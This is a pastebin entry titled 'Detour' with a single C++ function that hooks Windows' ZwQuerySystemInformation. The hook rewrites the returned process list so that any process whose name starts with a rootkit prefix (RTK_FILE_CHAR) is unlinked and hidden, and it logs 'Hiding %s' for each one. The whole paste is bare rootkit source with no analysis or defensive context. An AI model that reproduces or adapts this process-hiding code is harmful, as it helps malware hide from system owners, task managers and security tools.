All pastes #992612 Raw Edit

Detour

public cpp v1 · immutable
#992612 ·published 2008-04-21 23:16 UTC
rendered paste body
typedef NTSTATUS (WINAPI * Enum_ZwQuerySystemInformation)(UINT, PVOID,                                     ULONG, PULONG);Enum_ZwQuerySystemInformation Real_ZwQuerySystemInformation = NULL;NTSTATUS WINAPI Mine_ZwQuerySystemInformation(UINT SystemInformationClass, 											  PVOID SystemInformation, 											  ULONG SystemInformationLength, 											  PULONG ReturnLength){	NTSTATUS sysinfo = 0;	if (!Real_ZwQuerySystemInformation) return -1;	sysinfo = Real_ZwQuerySystemInformation(SystemInformationClass,											SystemInformation,											SystemInformationLength,											ReturnLength);	if (sysinfo == STATUS_SUCCESS)	{		switch (SystemInformationClass)		{			case SystemProcessesAndThreadsInformation:			{				PSYSTEM_PROCESS_INFORMATION pProcesses = (PSYSTEM_PROCESS_INFORMATION)SystemInformation;				PSYSTEM_PROCESS_INFORMATION pNextProcess;				while (1)				{				if (pProcesses->NextEntryDelta != 0)					pNextProcess = (PSYSTEM_PROCESS_INFORMATION)(((LPBYTE)pProcesses) + pProcesses->NextEntryDelta);				PCWSTR pszProcessName = pProcesses->ProcessName.Buffer;				PCWSTR pszNextProcessName = pNextProcess->ProcessName.Buffer;				CHAR szProcessName[MAX_PATH];				WideCharToMultiByte(CP_ACP, 0, pszProcessName, -1,                            szProcessName, MAX_PATH, NULL, NULL);				//log_add("Reporting %s", szProcessName);				CHAR szNextProcessName[MAX_PATH];				WideCharToMultiByte(CP_ACP, 0, pszNextProcessName, -1,                            szNextProcessName, MAX_PATH, NULL, NULL);				if (!strncmp(szNextProcessName, RTK_FILE_CHAR, strlen(RTK_FILE_CHAR)))				{					pProcesses->NextEntryDelta += pNextProcess->NextEntryDelta;					if (VERBOSE)						log_add("Hiding %s", szNextProcessName);				}				if (pProcesses->NextEntryDelta != 0)					pProcesses = (PSYSTEM_PROCESS_INFORMATION)(((LPBYTE)pProcesses) + pProcesses->NextEntryDelta);				else					break;				}			}		}	}	return sysinfo;}